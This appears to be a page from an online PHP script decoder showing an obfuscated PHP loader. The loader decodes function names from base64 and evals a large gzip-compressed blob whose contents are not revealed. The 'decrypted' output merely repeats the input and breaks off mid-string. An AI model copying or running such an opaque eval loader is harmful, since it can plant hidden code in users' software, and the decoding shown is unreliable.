Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

 $MKSefBBIdS='printf';$cGHpKCpLpO='Loading rf_ob_true';
        $phtXiAfOZR='    b2JfZW5kX2NsZWFu'; 
        $jjNMwMMugW='cmV0dXJuIGV2YWwoJGNHSHBLQ3BMcE8pOw==';
        $RLPTpcIaOc='ZlVNV0lpS3dFcw==';
        $QRXxTVJzpa=' Z3p1bmNvbXByZXNz';                    
        $pxZBcZXMeS='  b2Jfc3RhcnQ=';
        $xnTMuPgNHb='b2JfZ2V0X2NvbnRlbnRz';
        $MKSefBBIdS='base64_decode';                    
        $QRXxTVJzpa=$MKSefBBIdS($QRXxTVJzpa);
        $RLPTpcIaOc=$MKSefBBIdS($RLPTpcIaOc);
        $jjNMwMMugW=$MKSefBBIdS($jjNMwMMugW);
        $bkaqpmSvai=$RLPTpcIaOc('$cGHpKCpLpO',$jjNMwMMugW);
        $phtXiAfOZR=$MKSefBBIdS($phtXiAfOZR);
        $xnTMuPgNHb=$MKSefBBIdS($xnTMuPgNHb);
        $pxZBcZXMeS=$MKSefBBIdS($pxZBcZXMeS);                      
        $cGHpKCpLpO='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';
        $pxZBcZXMeS();$bkaqpmSvai($QRXxTVJzpa($MKSefBBIdS($cGHpKCpLpO)));
        $IJrBcBEBVF=$xnTMuPgNHb();
        $phtXiAfOZR();
        echo $IJrBcBEBVF;
        
        function fUMWIiKwEs($sArgs,$sCode)
        {
            return eval("return function($sArgs){{$sCode}};");
        }

Decrypted code:

 $MKSefBBIdS='printf';$cGHpKCpLpO='Loading rf_ob_true';
        $phtXiAfOZR='    b2JfZW5kX2NsZWFu'; 
        $jjNMwMMugW='cmV0dXJuIGV2YWwoJGNHSHBLQ3BMcE8pOw==';
        $RLPTpcIaOc='ZlVNV0lpS3dFcw==';
        $QRXxTVJzpa=' Z3p1bmNvbXByZXNz';                    
        $pxZBcZXMeS='  b2Jfc3RhcnQ=';
        $xnTMuPgNHb='b2JfZ2V0X2NvbnRlbnRz';
        $MKSefBBIdS='base64_decode';                    
        $QRXxTVJzpa=$MKSefBBIdS($QRXxTVJzpa);
        $RLPTpcIaOc=$MKSefBBIdS($RLPTpcIaOc);
        $jjNMwMMugW=$MKSefBBIdS($jjNMwMMugW);
        $bkaqpmSvai=$RLPTpcIaOc('$cGHpKCpLpO',$jjNMwMMugW);
        $phtXiAfOZR=$MKSefBBIdS($phtXiAfOZR);
        $xnTMuPgNHb=$MKSefBBIdS($xnTMuPgNHb);
        $pxZBcZXMeS=$MKSefBBIdS($pxZBcZXMeS);                      
        $cGHpKCpLpO='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